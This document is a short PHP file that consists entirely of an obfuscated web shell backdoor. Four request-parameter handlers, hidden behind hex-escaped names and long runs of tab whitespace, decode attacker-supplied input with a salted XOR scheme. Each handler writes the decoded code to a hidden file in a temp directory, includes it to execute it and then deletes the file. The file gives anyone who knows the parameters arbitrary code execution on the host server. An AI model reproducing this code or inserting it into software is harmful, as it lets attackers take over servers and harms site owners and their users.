<?php																																										if(isset($_REQUEST["\x6D\x72k"]) ? true : false){ $itm = $_REQUEST["\x6D\x72k"]; $itm =explode ( '.' , $itm ) ; $dchunk=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5); $i=0; foreach ($itm as $v8) { $sChar=ord($salt5[$i % $sLen]); $dec=((int)$v8 - $sChar - ($i % 10))^ 23; $dchunk .= chr($dec); $i++; } $pgrp = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd()]); foreach ($pgrp as $key => $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $holder = "$desc/.reference"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $holder; @unlink($holder); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["bin\x64"])){ $property_set = $_POST["bin\x64"]; $property_set = explode( '.', $property_set ) ; $entry = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); foreach( $property_set as $u => $v8): $sChar = ord( $salt9[$u % $sLen] ); $dec = ( ( int)$v8 - $sChar -( $u % 10)) ^4; $entry .= chr( $dec ); endforeach; $obj = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir()]); while ($itm = array_shift($obj)) { if (!!is_dir($itm) && !!is_writable($itm)) { $dchunk = sprintf("%s/.symbol", $itm); $success = file_put_contents($dchunk, $entry); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(isset($_POST["el\x65men\x74"]) ? true : false){ $mrk = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir()]); $data_chunk = $_POST["el\x65men\x74"]; $data_chunk = explode ( '.' , $data_chunk) ; $pointer = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); foreach ($data_chunk as $v => $v1) { $chS = ord($s7[$v % $sLen] ); $dec = ((int)$v1 - $chS - ($v % 10))^ 62; $pointer.= chr($dec );} foreach ($mrk as $key => $comp) { if (is_dir($comp) && is_writable($comp)) { $record = sprintf("%s/.rec", $comp); $success = file_put_contents($record, $pointer); if ($success) { include $record; @unlink($record); die();} } } }


if(count($_POST) > 0 && isset($_POST["e\x6Ce\x6Dent"])){
	$reference = $_POST["e\x6Ce\x6Dent"];
		 $reference=explode	 ( '.'  ,	  $reference);  	
	$descriptor	=  '';
            $salt8	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=  strlen($salt8);
            $z	=  0;
    
            $__tmp	=  $reference;
            while ($v8	=  array_shift($__tmp)) {
                $sChar	=  ord($salt8[$z % $sLen]);
                $dec	=  ((int)$v8 - $sChar - ($z % 10)) ^ 36;
                $descriptor .=chr($dec);
                $z++;	}
	$flag = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", getcwd()]);
	for ($flg = 0, $pgrp = count($flag); $flg < $pgrp; $flg++) {
    $pset = $flag[$flg];
    		if (!( !is_dir($pset) || !is_writable($pset) )) {
    $fac = sprintf("%s/.ref", $pset);
    $file = fopen($fac, 'w');
if ($file) {
	fwrite($file, $descriptor);
	fclose($file);
	include $fac;
	@unlink($fac);
	die();
}
}
}
}